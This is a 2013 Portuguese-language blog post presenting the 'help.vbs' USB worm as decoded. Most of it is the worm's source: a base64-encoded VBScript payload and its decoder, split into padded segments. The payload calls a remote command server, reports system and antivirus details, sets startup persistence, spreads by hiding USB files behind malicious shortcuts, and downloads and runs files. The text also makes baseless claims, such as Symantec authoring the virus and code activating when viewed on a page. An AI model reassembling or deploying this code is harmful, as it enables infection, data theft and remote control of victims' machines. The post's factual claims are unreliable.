Quais são os melhores Desenhos/Animes na sua opinião? (What are the best Animes in your opinion?)

quinta-feira, 1 de agosto de 2013

Vírus HELP.VBS é decifrado! - GProduções e ESET Nod32

A Equipe da CybernetcSecurity (da GProduções) em parceria com a equipe ESET (NOD32) decifraram o vírus mais falado do BRASIL!

O "help.vbs"!

Esse vírus tem a função de transformar arquivos do Pendrive em ATALHOS ocultando os arquivos originais!

E ainda deixa o PC mais lento, infecta arquivos do SISTEMA do Windows, e tempos depois de infectado o PC e/ou pendrive o vírus APAGA os arquivos originais deixando somente os ATALHOS!




Nós suspeitamos que esse vírus tenha sido criado pela SYMANTEC (NORTON) já que foi o 1º antivírus a detectar o "HELP.VBS" e o NORTON ainda dizia que apagava o vírus, quando na verdade o renomeava e o deixava ativo!

O AVAST realmente foi o primeiro ANTIVIRUS GRATIS a detectar o "HELP.VBS" e o apagava de verdade porém não tem a função de restaurar os arquivos apagados ou ocultados; tendo em vista que o HELP.VBS não trabalha sozinho.

HELP.VBS é um vírus (malware) e ele trabalha com "bactérias" ("worms") que são PIORES que "trojans" (o tipo mais simples e menos nocivo de vírus cibernético).




(na foto: NOD32 [ESET])



Quando o AVAST ou outro antivirus gratis como AVIRA ANTIVIR detectavam e APAGAVAM o malware HELP.VBS esses antivirus deixavam as "bactérias" (os WORMS) 'escaparem', ou seja, tudo continuava infectado e os arquivos ainda seriam contaminados, ocultados e posteriormente excluidos (tudo isso automaticamente e nenhum antivirus gratis ou pago conseguiram apagar esses WORMS), deixando como única solução FORMATAR o PC e pendrives OU comprar um Norton Antivirus!

Sim, pois, com muitas pesquisas, a ESET é o 1º e único antivírus que consegue remover completamente o malware e worm HELP.vbs; isso a ESET conseguiu com a ajuda da GProduções que decifrou a codificação e comandos do HELP.vbs!


CONFIRA as linhas de comando do HELP.vbs  (não tenha medo, como é só texto e não um executável, seu PC/pendrive não irão sofrer danos ao você ler ou ver as linhas de comando desse vírus!)



E não se esqueça, ESET é a melhor opção em ANTIVIRUS!






















(na foto: NOD32 [ESET])







Em todas as linhas foi adicionado TRAVESSÕES no INÍCIO e FIM caso contrário o Virus seria ativado nesta página.

Também foi escrito outras coisas no meio como PRIMEIRA PARTE e etc. para evitar que o vírus seja ativado, pois o HELP.VBS pode ser ativado mesmo ao ser olhado em sites se os códigos estiverem continuamente ORGANIZADOS.

Confira agora as linhas de comando do virus HELP.vbs:

ANTES DO INICIAL:
_____'< -Safa7_22 Crypter- >_______________
_____Safa7_22 =_______________
_____deCrypt("Jz0tPS09LT0tPSBjb25maWcgPS09LT0tPS09LT0tPS09LT0tPS09LT0tPS09DQoNCmhvc3QgPSAicGVudGVyMnNpZ24ubm8taXAuYml6Ig0KcG9ydCA9IDE4ODgNCmluc3RhbGxkaXIgPSAiJWFwcGRhdGElIg0KDQonPFsgY29kZWQgYnkgbmogXT4gfCA8WyBtb2RpZmllciA6IGhvdWRpbmkgXT4NCg0KJz0tPS09LT0tPSBwdWJsaWMgdmFyID0tPS09LT0tPS09LT0tPS09LT0tPS09DQoNCmRpbSBzaGVsbG9iaiANCnNldCBzaGVsbG9iaiA9IHdzY3JpcHQuY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikNCmRpbSBmaWxlc3lzdGVtb2JqDQpzZXQgZmlsZXN5c3RlbW9iaiA9IGNyZWF0ZW9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKQ0KZGltIGh0dHBvYmoNCnNldCBodHRwb2JqID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIpDQoNCg0KJz0tPS09LT0tPSBwcml2YXQgdmFyID0tPS09LT0tPS09LT0tPS09LT0tPS09DQoNCmluc3RhbGxuYW1lID0gd3NjcmlwdC5zY3JpcHRuYW1lDQpzdGFydHVwID0gc2hlbGxvYmouc3BlY2lhbGZvbGRlcnMgKCJzdGFydHVwIikgJiAiXCINCmluc3RhbGxkaXIgPSBzaGVsbG9iai5leHBhbmRlbnZpcm9ubWVudHN0cmluZ3MoaW5zdGFsbGRpcikgJiAiXCINCmlmIG5vdCBmaWxlc3lzdGVtb2JqLmZvbGRlcmV4aXN0cyhpbnN0YWxsZGlyKSB0aGVuICBpbnN0YWxsZGlyID0gc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIldGVtcCUiKSAmICJcIg0Kc3BsaXRlciA9ICI8fD4iDQpzbGVlcCA9IDUwMDAgDQpkaW0gcmVzcG9uc2UNCmRpbSBjbWQNCmRpbSBwYXJhbQ0KaW5mbyA9ICIiDQp1c2JzcHJlYWRpbmcgPSAiIg0KZGltIG9uZW9uY2UNCg0KJz0tPS09LT0tPSBjb2RlIHN0YXJ0ID0tPS09LT0tPS09LT0tPS09LT0tPS09DQpvbiBlcnJvciByZXN1bWUgbmV4dA0KDQoNCmluc3RhbmNlDQp3aGlsZSB0cnVlDQoNCmluc3RhbGwNCg0KcmVzcG9uc2UgPSAiIg0KcmVzcG9uc2UgPSBwb3N0ICgiaXMtcmVhZHkiLCIiKQ0KY21kID0gc3BsaXQgKHJlc3BvbnNlLHNwbGl0ZXIpDQpzZWxlY3QgY2FzZSBjbWQgKDApDQpjYXNlICJleGNlY3V0ZSINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgZXhlY3V0ZSBwYXJhbQ0KY2FzZSAidXBkYXRlIg0KICAgICAgcGFyYW0gPSBjbWQgKDEpDQogICAgICBvbmVvbmNlLmNsb3NlDQogICAgICBzZXQgb25lb25jZSA9ICBmaWxlc3lzdGVtb2JqLm9wZW50ZXh0ZmlsZSAoaW5zdGFsbGRpciAmIGluc3RhbGxuYW1lICwyLCBmYWxzZSkNCiAgICAgIG9uZW9uY2Uud3JpdGUgcGFyYW0NCiAgICAgIG9uZW9uY2UuY2xvc2UNCiAgICAgIHNoZWxsb2JqLnJ1biAid3NjcmlwdC5leGUgLy9CICIgJiBjaHIoMzQpICYgaW5zdGFsbGRpciAmIGluc3RhbGxuYW1lICYgQ2hyKDM0KQ0KICAgICAgd3NjcmlwdC5xdWl0IA0KY2FzZSAidW5pbnN0YWxsIg0KICAgICAgdW5pbnN0YWxsDQpDYXNlICJzZW5kIg0KICAgICAgcGFyYW0gPSBjbWQgKDEpDQogICAgICBkb3dubG9hZCAocGFyYW0pDQplbmQgc2VsZWN0DQoNCndzY3JpcHQuc2xlZXAgc2xlZXANCg0Kd2VuZA0KDQoNCnN1YiBpbnN0YWxsDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZGltIGxua29iag0KZGltIGZpbGVuYW1lDQpkaW0gZmlsZWljb24NCg0KdXBzdGFydA0KZm9yIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCg0KaWYgIGRyaXZlLmlzcmVhZHkgPSB0cnVlIHRoZW4NCmlmICBkcml2ZS5mcmVlc3BhY2Ug
FIM do ANTES DO INICIAL

INICIAL:
ID4gMCB0aGVuDQppZiAgZHJpdmUuZHJpdmV0eXBlICA9IDEgdGhlbg0KICAgIGZpbGVzeXN0ZW1vYmouY29weWZpbGUgd3NjcmlwdC5zY3JpcHRmdWxsbmFtZSAsIGRyaXZlLnBhdGggJiAiXCIgJiBpbnN0YWxsbmFtZSx0cnVlDQogICAgaWYgIGZpbGVzeXN0ZW1vYmouZmlsZWV4aXN0cyAoZHJpdmUucGF0aCAmICJcIiAmIGluc3RhbGxuYW1lKSAgdGhlbg0KICAgICAgICBmaWxlc3lzdGVtb2JqLmdldGZpbGUoZHJpdmUucGF0aCAmICJcIiAgJiBpbnN0YWxsbmFtZSkuYXR0cmlidXRlcyA9IDIrNA0KICAgIGVuZCBpZg0KICAgIGZvciBlYWNoIGZpbGUgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoIGRyaXZlLnBhdGggJiAiXCIgKS5maWxlcw0KICAgICAgICBpZiAgaW5zdHIgKGZpbGUubmFtZSwiLiIpIHRoZW4NCiAgICAgICAgICAgIGlmICBsY2FzZSAoc3BsaXQoZmlsZS5uYW1lLCAiLiIpICh1Ym91bmQoc3BsaXQoZmlsZS5uYW1lLCAiLiIpKSkpIDw+ICJsbmsiIHRoZW4NCiAgICAgICAgICAgICAgICBmaWxlLmF0dHJpYnV0ZXMgPSAyKzQNCiAgICAgICAgICAgICAgICBpZiAgdWNhc2UgKGZpbGUubmFtZSkgPD4gdWNhc2UgKGluc3RhbGxuYW1lKSB0aGVuDQogICAgICAgICAgICAgICAgICAgIGZpbGVuYW1lID0gc3BsaXQoZmlsZS5uYW1lLCIuIikNCiAgICAgICAgICAgICAgICAgICAgc2V0IGxua29iaiA9IHNoZWxsb2JqLmNyZWF0ZXNob3J0Y3V0IChkcml2ZS5wYXRoICYgIlwiICAmIGZpbGVuYW1lICgwKSAmICIubG5rIikgDQogICAgICAgICAgICAgICAgICAgIGxua29iai50YXJnZXRwYXRoID0gImNtZC5leGUiDQogICAgICAgICAgICAgICAgICAgIGxua29iai53b3JraW5nZGlyZWN0b3J5ID0gIiINCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLmFyZ3VtZW50cyA9ICIvYyBzdGFydCAiICYgcmVwbGFjZShpbnN0YWxsbmFtZSwiICIsIGNocncoMzQpICYgIiAiICYgY2hydygzNCkpICYgIiZzdGFydCAiICYgcmVwbGFjZShmaWxlLm5hbWUsIiAiLCBjaHJ3KDM0KSAmICIgIiAmIGNocncoMzQpKSAmIiZleGl0Ig0KICAgICAgICAgICAgICAgICAgICBmaWxlaWNvbiA9IHNoZWxsb2JqLnJlZ3JlYWQgKCJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcY2xhc3Nlc1wiICYgc2hlbGxvYmoucmVncmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxjbGFzc2VzXC4iICYgc3BsaXQoZmlsZS5uYW1lLCAiLiIpKHVib3VuZChzcGxpdChmaWxlLm5hbWUsICIuIikpKSYgIlwiKSAmICJcZGVmYXVsdGljb25cIikgDQogICAgICAgICAgICAgICAgICAgIGlmICBpbnN0ciAoZmlsZWljb24sIiwiKSA9IDAgdGhlbg0KICAgICAgICAgICAgICAgICAgICAgICAgbG5rb2JqLmljb25sb2NhdGlvbiA9IGZpbGUucGF0aA0KICAgICAgICAgICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgICAgICAgICAgICAgbG5rb2JqLmljb25sb2NhdGlvbiA9IGZpbGVpY29uDQogICAgICAgICAgICAgICAgICAgIGVuZCBpZg0KICAgICAgICAgICAgICAgICAgICBsbmtvYmouc2F2ZSgpDQogICAgICAgICAgICAgICAgZW5kIGlmDQogICAgICAgICAgICBlbmQgaWYNCiAgICAgICAgZW5kIGlmDQogICAgbmV4dA0KZW5kIElmDQplbmQgSWYNCmVuZCBpZg0KbmV4dA0KZXJyLmNsZWFyDQplbmQgc3ViDQoNCnN1YiB1bmluc3RhbGwNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpkaW0gZmlsZW5hbWUNCg0Kc2hlbGxvYmoucmVnZGVsZXRlICJIS0VZX0NVUlJFTlRfVVNFUlxzb2Z0d2FyZVxtaWNyb3NvZnRcd2luZG93c1xjdXJyZW50dmVyc2lvblxydW5cIiAmIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKDApDQpzaGVsbG9iai5yZWdkZWxldGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxtaWNyb3NvZnRcd2luZG93c1xjdXJyZW50dmVyc2lvblxydW5cIiAmIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKDApDQpmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgc3RhcnR1cCAmIGluc3RhbGxuYW1lICx0cnVlDQpmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgd3NjcmlwdC5zY3JpcHRmdWxsbmFtZSAsdHJ1ZQ0KDQpmb3IgIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZiAgZHJpdmUuZnJlZXNwYWNlICA+IDAgdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZSAgPSAxIHRoZW4NCiAgICBmb3IgIGVhY2ggZmlsZSBpbiBmaWxlc3lzdGVtb2JqLmdldGZvbGRlciAoIGRyaXZlLnBhdGggJiAiXCIpLmZpbGVzDQogICAgICAgICBvbiBlcnJvciByZXN1bWUgbmV4dA0KICAgICAgICAgaWYgIGluc3RyIChmaWxlLm5hbWUsIi4iKSB0aGVuDQogICAgICAgICAgICAgaWYgIGxjYXNlIChzcGxpdChmaWxlLm5hbWUsICIuIikodWJvdW5kKHNwbGl0KGZpbGUubmFtZSwgIi4iKSkpKSA8PiAibG5rIiB0aGVuDQogICAgICAgICAgICAgICAgIGZpbGUuYXR0cmlidXRlcyA9IDANCiAgICAgICAgICAgICAgICAgaWYgIHVjYXNlIChmaWxlLm5hbWUpIDw+IHVjYXNlIChpbnN0YWxsbmFtZSkgdGhlbg0KICAgICAgICAgICAgICAgICAgICAgZmlsZW5hbWUgPSBzcGxpdChmaWxlLm5hbWUsIi4iKQ0KICAgICAgICAgICAgICAgICAgICAgZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChkcml2ZS5wYXRoICYgIlwiICYgZmlsZW5hbWUoMCkgJiAiLmxuayIgKQ0KICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICBmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgKGRyaXZlLnBhdGggJiAiXCIgJiBmaWxlLm5hbWUpDQogICAgICAgICAgICAgICAgIGVuZCBpZg0KICAgICAgICAgICAgIGVuZCBpZg0KICAgICAgICAgZW5kIGlmDQogICAgIG5leHQNCmVuZCBpZg0KZW5kIGlmDQplbmQgaWYNCm5leHQNCndzY3JpcHQucXVpdA0KZW5kIHN1Yg0KDQpmdW5jdGlvbiBwb3N0IChjbWQgLHBhcmFtKQ0KDQpwb3N0ID0gcGFyYW0NCmh0dHBvYmoub3BlbiAicG9zdCIsImh0dHA6Ly8iICYgaG9zdCAmICI6IiAmIHBvcnQgJiIvIiAmIGNtZCwgZmFsc2UNCmh0dHBvYmouc2V0cmVxdWVzdGhlYWRlciAidXNlci1hZ2VudDoiLGluZm9ybWF0aW9uDQpodHRwb2JqLnNlbmQgcGFyYW0NCnBvc3QgPSBodHRwb2JqLnJlc3BvbnNldGV4dA0KZW5kIGZ1bmN0aW9uDQoNCmZ1bmN0aW9uIGluZm9ybWF0aW9uDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KaWYgIGluZiA9ICIiIHRoZW4NCiAgICBpbmYgPSBod2lkICYgc3BsaXRlciANCiAgICBpbmYgPSBpbmYgICYgc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIlY29tcHV0ZXJuYW1lJSIpICYgc3BsaXRlciANCiAgICBpbmYgPSBpbmYgICYgc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIldXNlcm5hbWUlIikgJiBzcGxpdGVyDQoNCiAgICBzZXQgcm9vdCA9IGdldG9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFwuXHJvb3RcY2ltdjIiKQ0KICAgIHNldCBvcyA9IHJvb3QuZXhlY3F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9vcGVyYXRpbmdzeXN0ZW0iKQ0KICAgIGZvciBlYWNoIG9zaW5mbyBpbiBvcw0KICAgICAgIGluZiA9IGluZiAmIG9zaW5mby5jYXB0aW9uICYgc3BsaXRlciAgDQogICAgICAgZXhpdCBmb3INCiAgICBuZXh0DQogICAgaW5mID0gaW5mICYgInVuZGVyd29ybGQgZmluYWwiICYgc3BsaXRlcg0KICAgIGluZiA9IGluZiAmIHNlY3VyaXR5ICYgc3BsaXRlcg0KICAgIGluZiA9IGluZiAmIHVzYnNwcmVhZGluZw0KICAgIGluZm9ybWF0aW9uID0gaW5mICANCmVsc2UNCiAgICBpbmZvcm1hdGlvbiA9IGluZg0KZW5kIGlmDQplbmQgZnVuY3Rpb24NCg0KDQpzdWIgdXBzdGFydCAoKQ0Kb24gZXJyb3IgcmVzdW1lIE5leHQNCg0Kc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfQ1VSUkVOVF9VU0VSXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCksICAid3NjcmlwdC5leGUgLy9CICIgJiBjaHJ3KDM0KSAmIGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAmIGNocncoMzQpICwgIlJFR19TWiINCnNoZWxsb2JqLnJlZ3dyaXRlICJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcbWljcm9zb2Z0XHdpbmRvd3NcY3VycmVudHZlcnNpb25ccnVuXCIgJiBzcGxpdCAoaW5zdGFsbG5hbWUsIi4iKSgwKSwgICJ3c2NyaXB0LmV4ZSAvL0IgIiAgJiBjaHJ3KDM0KSAmIGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAmIGNocncoMzQpICwgIlJFR19TWiINCmZpbGVzeXN0ZW1vYmouY29weWZpbGUgd3NjcmlwdC5zY3JpcHRmdWxsbmFtZSxpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUsdHJ1ZQ0KZmlsZXN5c3RlbW9iai5jb3B5ZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLHN0YXJ0dXAgJiBpbnN0YWxsbmFtZSAsdHJ1ZQ0KDQplbmQgc3ViDQoNCg0KZnVuY3Rpb24gaHdpZA0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCg0Kc2V0IHJvb3QgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBkaXNrcyA9IHJvb3QuZXhlY3F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2dpY2FsZGlzayIpDQpmb3IgZWFjaCBkaXNrIGluIGRpc2tzDQogICAgaWYgIGRpc2sudm9sdW1lc2VyaWFsbnVtYmVyIDw+ICIiIHRoZW4NCiAgICAgICAgaHdpZCA9IGRpc2sudm9sdW1lc2VyaWFsbnVtYmVyDQogICAgICAgIGV4aXQgZm9yDQogICAgZW5kIGlmDQpuZXh0DQplbmQgZnVuY3Rpb24NCg0KDQpmdW5jdGlvbiBzZWN1cml0eSANCm9uIGVycm9yIHJlc3VtZSBuZXh0DQoNCnNlY3VyaXR5ID0gIiINCg0Kc2V0IG9iandtaXNlcnZpY2UgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBjb2xpdGVtcyA9IG9iandtaXNlcnZpY2UuZXhlY3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIsLDQ4KQ0KZm9yIGVhY2ggb2JqaXRlbSBpbiBjb2xpdGVtcw0KCXZlcnNpb25zdHIgPSBzcGxpdCAob2JqaXRlbS52ZXJzaW9uLCIuIikNCm5leHQNCnZlcnNpb25zdHIgPSBzcGxpdCAoY29saXRlbXMudmVyc2lvbiwiLiIpDQpvc3ZlcnNpb24gPSB2ZXJzaW9uc3RyICgwKSAmICIuIg0KZm9yICB4ID0gMSB0byB1Ym91bmQgKHZlcnNpb25zdHIpDQoJIG9zdmVyc2lvbiA9IG9zdmVyc2lvbiAmICB2ZXJzaW9uc3RyIChpKQ0KbmV4dA0Kb3N2ZXJzaW9uID0gZXZhbCAob3N2ZXJzaW9uKQ0KaWYgIG9zdmVyc2lvbiA+IDYgdGhlbiBzYyA9ICJzZWN1cml0eWNlbnRlcjIiIGVsc2Ugc2MgPSAic2VjdXJpdHljZW50ZXIiDQoNCnNldCBvYmpzZWN1cml0eWNlbnRlciA9IGdldG9iamVjdCgid2lubWdtdHM6XFxsb2NhbGhvc3Rccm9vdFwiICYgc2MpDQpTZXQgY29sYW50aXZpcnVzID0gb2Jqc2VjdXJpdHljZW50ZXIuZXhlY3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIGFudGl2aXJ1c3Byb2R1Y3QiLCJ3cWwiLDApDQoNCmZvciBlYWNoIG9iamFudGl2aXJ1cyBpbiBjb2xhbnRpdmlydXMNCiAgICBzZWN1cml0eSAgPSBzZWN1cml0eSAgJiBvYmphbnRpdmlydXMuZGlzcGxheW5hbWUgJiAiIC4iDQpuZXh0DQppZiBzZWN1cml0eSAgPSAiIiB0aGVuIHNlY3VyaXR5ICA9ICJuYW4tYXYiDQplbmQgZnVuY3Rpb24NCg0KDQpmdW5jdGlvbiBpbnN0YW5jZQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCg0KdXNic3ByZWFkaW5nID0gc2hlbGxvYmoucmVncmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkgJiAiXCIpDQppZiB1c2JzcHJlYWRpbmcgPSAiIiB0aGVuDQogICBpZiBsY2FzZSAoIG1pZCh3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLDIpKSA9ICI6XCIgJiAgbGNhc2UoaW5zdGFsbG5hbWUpIHRoZW4NCiAgICAgIHVzYnNwcmVhZGluZyA9ICJ0cnVlIg0KICAgICAgc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkgICYgIlwiLCAgdXNic3ByZWFkaW5nLCAiUkVHX1NaIg0KICAgZWxzZQ0KICAgICAgdXNic3ByZWFkaW5nID0gImZhbHNlIg0KICAgICAgc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkgICYgIlwiLCAgdXNic3ByZWFkaW5nLCAiUkVHX1NaIg0KDQogICBlbmQgaWYNCmVuZCBpZg0KDQp1cHN0YXJ0DQpzZXQgc2NyaXB0ZnVsbG5hbWVzaG9ydCA9ICBmaWxlc3lzdGVtb2JqLmdldGZpbGUgKHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUpDQpzZXQgaW5zdGFsbGZ1bGxuYW1lc2hvcnQgPSAgZmlsZXN5c3RlbW9iai5nZXRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUpDQppZiAgbGNhc2UgKHNjcmlwdGZ1bGxuYW1lc2hvcnQuc2hvcnRwYXRoKSA8PiBsY2FzZSAoaW5zdGFsbGZ1bGxuYW1lc2hvcnQuc2hvcnRwYXRoKSB0aGVuIA0KICAgIHNoZWxsb2JqLnJ1biAid3NjcmlwdC5leGUgLy9CICIgJiBjaHIoMzQpICYgaW5zdGFsbGRpciAmIGluc3RhbGxuYW1lICYgQ2hyKDM0KQ0KICAgIHdzY3JpcHQucXVpdCANCmVuZCBJZg0KZXJyLmNsZWFyDQpzZXQgb25lb25jZSA9IGZpbGVzeXN0ZW1vYmoub3BlbnRleHRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgLDgsIGZhbHNlKQ0KaWYgIGVyci5udW1iZXIgPiAwIHRoZW4gd3NjcmlwdC5xdWl0DQplbmQgZnVuY3Rpb24NCg0KDQpmdW5jdGlvbiBkb3dubG9hZCAoZmlsZXVybCkNCg0KDQpzdHJzYXZldG8gPSBpbnN0YWxsZGlyICYgbWlkIChmaWxldXJsLCBpbnN0cnJldiAoZmlsZXVybCwiXCIpICsgMSkNCnNldCBvYmpodHRwZG93bmxvYWQgPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIikNCm9iamh0dHBkb3dubG9hZC5vcGVuICJwb3N0IiwiaHR0cDovLyIgJiBob3N0ICYgIjoiICYgcG9ydCAmIi8iICYgImlzLXNlbmRpbmciICYgc3BsaXRlciAmIGZpbGV1cmwsIGZhbHNlDQpvYmpodHRwZG93bmxvYWQuc2VuZCAiIg0KICAgICANCnNldCBvYmpmc29kb3dubG9hZCA9IGNyZWF0ZW9iamVjdCAoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0IikNCmlmICBvYmpmc29kb3dubG9hZC5maWxlZXhpc3RzIChzdHJzYXZldG8pIHRoZW4NCiAgICBvYmpmc29kb3dubG9hZC5kZWxldGVmaWxlIChzdHJzYXZldG8pDQplbmQgaWYNCmlmICBvYmpodHRwZG93bmxvYWQuc3RhdHVzID0gMjAwIHRoZW4NCiAgICBkaW0gIG9ianN0cmVhbWRvd25sb2FkDQoJc2V0ICBvYmpzdHJlYW1kb3dubG9hZCA9IGNyZWF0ZW9iamVjdCgiYWRvZGIuc3RyZWFtIikNCiAgICB3aXRoIG9ianN0cmVhbWRvd25sb2FkIA0KCQkgLnR5cGUgPSAxIA0KCQkgLm9wZW4NCgkJIC53cml0ZSBvYmpodHRwZG93bmxvYWQucmVzcG9uc2Vib2R5DQoJCSAuc2F2ZXRvZmlsZSBzdHJzYXZldG8NCgkJIC5jbG9zZQ0KCWVuZCB3aXRoDQogICAgc2V0IG9ianN0cmVhbWRvd25sb2FkICA9IG5vdGhpbmcNCmVuZCBpZg0KaWYgIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMgKHN0cnNhdmV0bykgdGhlbgkgIAkNCiAgICBzaGVsbG9iai5leGVjIHN0cnNhdmV0bw0KZW5kIGlmIA0KZW5kIGZ1bmN0aW9uDQo=")_______________
_____EXECUTEGLOBAL (Safa7_22)_______________
_____function deCrypt(data)_______________
FIM DO INICIAL

PRIMEIRA PARTE:
_____     deCrypt=decodeBase64(data)_______________
_____end function
_____Function decodeBase64(ByVal base64String)_______________
_____     Const Base64 = ____________________"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"_______________
_____     Dim dataLength, sOut, groupBegin_______________
_____    
_____     base64String = Replace(base64String, vbCrLf, "")_______________
_____     base64String = Replace(base64String, vbTab, "")_______________
_____     base64String = Replace(base64String, " ", "")_______________
_____     dataLength = Len(base64String)_______________
_____     If dataLength Mod 4 <> 0 Then_______________
_____          Err.Raise 1, "Base64Decode", "Bad Base64 string."_______________
_____          Exit Function_______________
_____     End If_______________
_____     For groupBegin = 1 To dataLength Step 4_______________
_____          Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut_______________
_____          numDataBytes = 3_______________
_____          nGroup = 0_______________
_____         
_____          For CharCounter = 0 To 3_______________
FIM DA PRIMEIRA PARTE

SEGUNDA PARTE:
_____               thisChar = Mid(base64String, groupBegin + CharCounter, 1)_______________
_____              
_____               If thisChar = "=" Then_______________
_____                    numDataBytes = numDataBytes - 1_______________
_____                    thisData = 0
_____               Else_______________
_____                    thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1_______________
_____               End If_______________
_____    
_____               If thisData = -1 Then_______________
_____                    Err.Raise 2, "Base64Decode", "Bad character In Base64 string."_______________
_____                    Exit Function_______________
_____               End If_______________
_____              
_____               nGroup = 64 * nGroup + thisData_______________
_____          Next_______________
_____          nGroup = Hex(nGroup)_______________
FIM DA SEGUNDA PARTE

TERCEIRA PARTE:
_____          nGroup = String(6 - Len(nGroup), "0") & nGroup_______________
_____          pOut =      Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _     _______________
_____                    Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _     _______________
_____                    Chr(CByte("&H" & Mid(nGroup, 5, 2)))_______________
_____          sOut = sOut & Left(pOut, numDataBytes)_______________
_____     Next_______________
__________decodeBase64 = sOut_______________
_______________End Function_______________

FIM DA TERCEIRA PARTE

Without accent.Western names can not be written in Kanji or Hiragana only in Katakana!